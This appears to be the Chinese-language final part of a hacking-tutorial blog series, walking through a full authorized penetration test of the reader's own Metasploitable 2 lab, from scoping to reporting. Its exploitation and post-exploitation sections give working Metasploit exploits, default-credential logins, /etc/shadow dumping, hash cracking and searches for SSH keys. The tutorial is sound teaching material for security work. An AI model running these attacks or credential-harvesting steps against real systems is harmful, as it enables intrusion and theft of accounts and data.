黑客之路:五部曲系列
第一部分:入门 → 第二部分:Flipper精通 → 第三部分:Kali基础 → 第四部分:漏洞利用 → 第五部分:完整审计
你从好奇黑客到底在做什么开始了这个系列。你了解到,这不是关于连帽衫和绿色屏幕文字。这是有条不紊的问题解决。你克隆了门禁卡,绘制了网络拓扑,捕获了握手包,在漏洞机器上获得了shell。
现在我们把一切整合起来。这篇文章将带你完成一次针对虚构目标的完整渗透测试。每个阶段、每个决策、每个发现,都按照专业人士的方式记录。
场景设定
客户: Initech Labs(一家虚构的小型科技公司)
范围: 内部网络渗透测试
目标: 识别漏洞并展示潜在的业务影响
你的目标: 你自己的实验室网络(Kali + Metasploitable 2 + 你搭建的其他虚拟机)
倒杯咖啡。接下来会很有趣。
第一阶段:前期准备
在触碰键盘之前,专业渗透测试人员会先处理业务方面的事项。跳过这一步,你就不是渗透测试人员。你只是一个在犯罪的人。
范围界定电话会议
在真实项目中,你会与客户通话以了解:
- 什么在范围内? 哪些网络、IP范围、应用程序?
- 什么在范围外? 生产系统?第三方服务?
- 测试窗口? 什么时候可以测试?只能在工作时间?
- 联系人? 如果出了问题找谁?
- 目标? 合规打勾还是真正的安全改进?
针对你的实验室
范围: 仅你的隔离实验室网络。范围外: 地球上的一切其他东西。测试窗口: 随时。目标: 在实践中学习。
参与规则
真实项目有书面规则。以下是它们通常涵盖的内容:
- 授权书 - 证明你有权限的签名文件
- 升级程序 - 发现严重问题时该怎么做
- 数据处理 - 如何处理你遇到的敏感数据
- 清理要求 - 完成后删除所有工具和后门
- 报告时间线 - 最终报告何时到期?
务必获得书面授权
即使是对朋友网络的"友好"测试也一样。一封签名的邮件写着"你有权限在某日至某日测试我的网络"可能就是学习经历和刑事定罪之间的区别。认真对待这件事。
第二阶段:侦察
是时候了解目标的一切了。在真实项目中,这将包括OSINT(开源情报):Google搜索、LinkedIn档案、公司网站、DNS记录。对于我们的实验室,我们直接进入主动侦察。
步骤1:网络发现
第一个问题:这个网络上有什么?
1# 查找你的网络范围
2ip a | grep inet
3# 寻找类似:inet 192.168.56.100/24
4
5# 发现所有存活主机
6sudo nmap -sn 192.168.56.0/24 -oA discovery
7
8# 结果(示例):
9Nmap scan report for 192.168.56.1
10Host is up (0.00032s latency).
11Nmap scan report for 192.168.56.101
12Host is up (0.00089s latency).
13Nmap scan report for 192.168.56.102
14Host is up (0.00045s latency).记录一切。创建如下笔记:
1# Initech Labs - 网络发现
2# 日期:2026-03-08
3# 测试人员:你的名字
4
5192.168.56.1 - 网关/路由器
6192.168.56.101 - 未知(待调查)
7192.168.56.102 - 未知(待调查)步骤2:端口扫描
现在深入挖掘。运行着哪些服务?
1# 带服务检测的全端口扫描
2sudo nmap -sV -sC -p- -oA full_scan 192.168.56.101
3
4# 这需要一些时间。学习期间要更快的结果:
5sudo nmap -sV -sC --top-ports 1000 -oA quick_scan 192.168.56.101在Metasploitable 2上,你会看到一座宝库:
1PORT STATE SERVICE VERSION
221/tcp open ftp vsftpd 2.3.4
322/tcp open ssh OpenSSH 4.7p1
423/tcp open telnet Linux telnetd
525/tcp open smtp Postfix smtpd
680/tcp open http Apache httpd 2.2.8
7139/tcp open netbios-ssn Samba smbd 3.X
8445/tcp open netbios-ssn Samba smbd 3.X
93306/tcp open mysql MySQL 5.0.51a
105432/tcp open postgresql PostgreSQL DB
11...暴露程度惊人。更新我们的笔记:
1192.168.56.101 - Linux服务器(Metasploitable)
2 - FTP (21): vsftpd 2.3.4 # 已知后门!
3 - SSH (22): OpenSSH 4.7p1 # 古董级别
4 - Telnet (23): 活跃 # 2026年了为什么还有这个?
5 - HTTP (80): Apache 2.2.8 # 待测试的Web应用
6 - SMB (139/445): Samba 3.X # 潜在的金矿
7 - MySQL (3306): 5.0.51a # 数据库访问?
8 - PostgreSQL (5432): 活跃 # 另一个数据库步骤3:漏洞识别
是时候看看什么是真正可利用的了。
1# 运行漏洞扫描脚本
2sudo nmap --script vuln -oA vuln_scan 192.168.56.101
3
4# 在Metasploit中检查特定服务
5msfconsole
6msf6 > search vsftpd
7msf6 > search samba 3
8msf6 > search apache 2.2vsftpd 2.3.4后门立刻引起注意。那是一个确定的shell。但优秀的渗透测试人员不会在第一个发现处停下。你要记录一切。
第三阶段:漏洞利用
这里是事情变得精彩的地方。我们有多个潜在的入口点。让我们系统地逐一突破。
攻击向量1:FTP后门
1msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
2msf6 exploit(...) > set RHOSTS 192.168.56.101
3msf6 exploit(...) > exploit
4
5[*] Banner: 220 (vsFTPd 2.3.4)
6[*] USER: 331 Please specify the password.
7[+] Backdoor service has been spawned
8[+] Command shell session 1 opened
9
10whoami
11root
12
13id
14uid=0(root) gid=0(root)发现已记录: 通过FTP后门获得root shell。从首次扫描到完全入侵的时间:大约10分钟。
但我们不止于此。还能进入哪里?
攻击向量2:Samba
1# 将当前会话放到后台
2background
3
4msf6 > use exploit/multi/samba/usermap_script
5msf6 exploit(...) > set RHOSTS 192.168.56.101
6msf6 exploit(...) > exploit
7
8[*] Command shell session 2 opened
9
10whoami
11root通过不同的向量获得了另一个root shell。这是两条独立的完全入侵路径。
攻击向量3:Web应用
让我们看看80端口上运行着什么。
1# 枚举Web目录
2gobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirb/common.txt
3
4# 结果:
5/cgi-bin/ (Status: 403)
6/dav/ (Status: 301)
7/icons/ (Status: 301)
8/index (Status: 200)
9/phpMyAdmin/ (Status: 301)
10/phpinfo (Status: 200)
11/test/ (Status: 301)
12/twiki/ (Status: 301)
13
14# 运行nikto获取更多发现
15nikto -h http://192.168.56.101phpMyAdmin使用默认凭据?验证一下:
1# 尝试常见凭据
2Username: root
3Password:(空)
4
5# 访问成功!无需密码即可获得数据库管理员权限。从这里,我们可以导出所有数据、修改记录,或利用MySQL的文件操作写入Web shell。
攻击向量4:SSH弱凭据
1msf6 > use auxiliary/scanner/ssh/ssh_login
2msf6 auxiliary(...) > set RHOSTS 192.168.56.101
3msf6 auxiliary(...) > set USERNAME msfadmin
4msf6 auxiliary(...) > set PASSWORD msfadmin
5msf6 auxiliary(...) > run
6
7[+] 192.168.56.101:22 - Success: 'msfadmin:msfadmin'弱凭据授予SSH访问权限。不是root,但我们会在后渗透阶段处理。
第四阶段:后渗透
我们有了访问权限。接下来呢?真正的渗透测试要展示业务影响。攻击者拥有这个权限后到底能做什么?
凭据收集
1# 从我们的root shell
2cat /etc/shadow
3root:$1$xyz...truncated...:14889:0:99999:7:::
4msfadmin:$1$abc...truncated...:14889:0:99999:7:::
5user:$1$def...truncated...:14889:0:99999:7:::
6postgres:$1$ghi...truncated...:14889:0:99999:7:::
7
8# 保存用于离线破解
9cat /etc/passwd > /tmp/passwd.txt
10cat /etc/shadow > /tmp/shadow.txt
11
12# 在Kali上破解
13unshadow passwd.txt shadow.txt > combined.txt
14john --wordlist=/usr/share/wordlists/rockyou.txt combined.txt网络侦察(从内部)
1# 这台机器能访问哪些其他网络?
2ifconfig
3route -n
4cat /etc/hosts
5arp -a
6
7# 什么在连接这台机器?
8netstat -tulpn
9ss -tulpn
10
11# 查找SSH密钥(用于横向移动)
12find / -name "id_rsa" 2>/dev/null
13find / -name "authorized_keys" 2>/dev/null敏感数据发现
1# 查找有趣的文件
2find / -name "*.conf" 2>/dev/null | head -20
3find / -name "*.sql" 2>/dev/null
4find / -name "*.bak" 2>/dev/null
5find / -name "*password*" 2>/dev/null
6
7# 检查常见配置位置
8cat /var/www/*/config.php 2>/dev/null
9cat /etc/mysql/my.cnf
10
11# 数据库枚举
12mysql -u root -p # 尝试空密码
13mysql> SHOW DATABASES;
14mysql> SELECT * FROM mysql.user;权限提升(从msfadmin)
还记得用msfadmin登录SSH吗?让我们利用第四部分学到的知识提升到root。
1# 以msfadmin身份SSH登录
2ssh [email protected]
3
4# 检查sudo权限
5sudo -l
6# (输出可能不同,但让我们检查其他向量)
7
8# 查找SUID二进制文件
9find / -perm -4000 2>/dev/null
10
11# 查找root运行的可写脚本
12cat /etc/crontab
13
14# 上传并运行LinPEAS进行全面检查
15# (在实际场景中,第四部分已经涵盖)第五阶段:文档与发现
没有报告的测试毫无价值。这就是专业人士和脚本小子的区别。你需要解释你发现了什么、为什么重要、以及如何修复。
发现摘要
以下是我们在"Initech Labs"网络中的发现,按照真实报告的格式呈现:
严重:FTP服务后门(CVE-2011-2523)
受影响系统: 192.168.56.101
风险: 远程未认证代码执行,获得root权限
证据: 在60秒内获得完整root shell
建议: 立即将vsftpd更新到当前版本或完全禁用FTP服务。
严重:Samba远程代码执行
受影响系统: 192.168.56.101
风险: 远程未认证代码执行,获得root权限
证据: 通过usermap_script利用获得完整root shell
建议: 将Samba更新到当前版本。限制SMB访问仅限必要系统。
高:MySQL Root无密码访问
受影响系统: 192.168.56.101
风险: 完全数据库入侵、数据窃取、Web shell部署
证据: 通过phpMyAdmin使用空密码以root身份登录
建议: 设置强root密码。限制phpMyAdmin访问。考虑完全移除phpMyAdmin。
高:SSH弱凭据
受影响系统: 192.168.56.101
风险: 认证访问导致权限提升
证据: msfadmin:msfadmin成功认证
建议: 实施强密码策略。实施基于SSH密钥的认证。考虑使用fail2ban。
中:Telnet服务已启用
受影响系统: 192.168.56.101
风险: 凭据以明文传输
证据: 端口23开放并接受连接
建议: 禁用Telnet。使用SSH进行所有远程管理。
低:phpinfo()页面暴露
受影响系统: 192.168.56.101
风险: 信息泄露有助于进一步攻击
证据: http://192.168.56.101/phpinfo无需认证即可访问
建议: 删除或限制对phpinfo页面的访问。
执行摘要
这是高管们真正会看的部分。保持简短、有影响力、不用术语:
执行摘要
在对Initech Labs内部网络的渗透测试中,安全团队在评估开始后10分钟内即获得了主服务器的完全管理控制权。
关键发现:
- 2个严重漏洞允许立即远程接管
- 2个高危问题暴露数据库和用户凭据
- 多个中低危发现表明系统性安全缺陷
结论: 具备基本技能的攻击者可以在几分钟内完全入侵该系统。所有严重和高危发现需要立即修复。建议在修复完成后进行后续评估。
第六阶段:清理与收尾
专业的渗透测试人员会让环境保持与发现时完全一样的状态。
1# 记录所有会话
2msf6 > sessions -l
3
4# 终止所有会话
5msf6 > sessions -K
6
7# 在目标上(如果你创建了任何文件):
8rm /tmp/linpeas.sh
9rm /tmp/*.txt
10
11# 删除你创建的所有用户
12userdel testuser
13
14# 删除你添加的所有SSH密钥
15rm /home/*/.ssh/authorized_keys
16
17# 记录你删除的一切在真实项目中,你还需要:
- 删除测试期间上传的所有工具
- 记录对环境做出的任何更改
- 提供你提取的任何数据的哈希/校验和
- 在交付报告后安全删除所有客户数据
完整方法论清单
以下是你可以在任何渗透测试中重复使用的工作流程:
渗透测试方法论
- 前期准备
- 定义范围和参与规则
- 获得书面授权
- 建立沟通渠道
- 搭建测试环境
- 侦察
- 网络发现(主机枚举)
- 端口扫描和服务识别
- 漏洞扫描
- Web应用枚举
- 记录一切
- 漏洞利用
- 验证漏洞(不要盲目信任扫描器)
- 利用已确认的漏洞
- 记录每次成功入侵
- 捕获证据(截图、日志)
- 后渗透
- 枚举被入侵系统
- 收集凭据
- 识别敏感数据
- 尝试权限提升
- 寻找横向移动机会
- 报告
- 撰写执行摘要(业务影响)
- 记录所有发现及证据
- 提供修复建议
- 为IT团队包含技术细节
- 清理
- 删除所有工具和痕迹
- 终止所有会话和后门
- 记录任何环境变更
- 安全处理客户数据
接下来:你的前进之路
你已经完成了黑客之路。你从"黑客到底是什么意思"走到了进行完整的渗透测试。这真的令人印象深刻。
但这只是开始。以下是接下来的方向:
练习平台
- Hack The Box - 真实的练习机器。从已退役的"Easy"级别开始。
- TryHackMe - 引导式学习路径。非常适合结构化进步。
- VulnHub - 免费的漏洞虚拟机,下载后在本地练习。
- PentesterLab - 专注Web应用安全。
认证(如果你需要的话)
- eJPT (eLearnSecurity Junior Penetration Tester) - 很好的起点,实操考试
- OSCP (Offensive Security Certified Professional) - 行业标准,艰难但受尊重
- PNPT (Practical Network Penetration Tester) - 现代化、实用,包含报告撰写
- CEH (Certified Ethical Hacker) - 企业岗位的入场券,实操性较弱
专业方向
- Web应用安全 - OWASP、Burp Suite、SQL注入、XSS
- Active Directory - 大多数企业环境都运行在上面
- 云安全 - AWS、Azure、GCP渗透测试
- 移动安全 - Android/iOS应用测试
- Red Teaming - 完整对手模拟,物理+数字
- 逆向工程 - 恶意软件分析、漏洞利用开发
建设你的家庭实验室
最优秀的渗透测试人员拥有精心搭建的家庭实验室。从简单开始,逐步扩展:
- 添加带Active Directory的Windows Server
- 搭建域控制器
- 部署漏洞Web应用(DVWA、bWAPP、WebGoat)
- 构建多网段网络
- 添加HoneyAegis,从防御者的视角观察攻击
黑客之路:完结
你做到了。五个部分全部完成,从好奇到有能力。
第一部分:入门 第二部分:Flipper精通 第三部分:Kali基础 第四部分:漏洞利用 第五部分:完整审计
系列完结 - 你的旅程
第一部分: 你了解了黑客的真正含义,并用Flipper Zero取得了第一次胜利
第二部分: 你掌握了Flipper的每个协议:Sub-GHz、RFID、NFC、BadUSB、GPIO
第三部分: 你搭建了Kali实验室,学会了nmap,捕获了WiFi握手包
第四部分: 你掌握了Metasploit、漏洞利用、权限提升和横向移动
第五部分: 你将一切整合为完整的渗透测试方法论
安全不是终点。它是一种实践。工具会变,漏洞会进化,但方法论始终如一。质疑一切。记录一切。永不停止学习。
欢迎来到另一边。
- Lee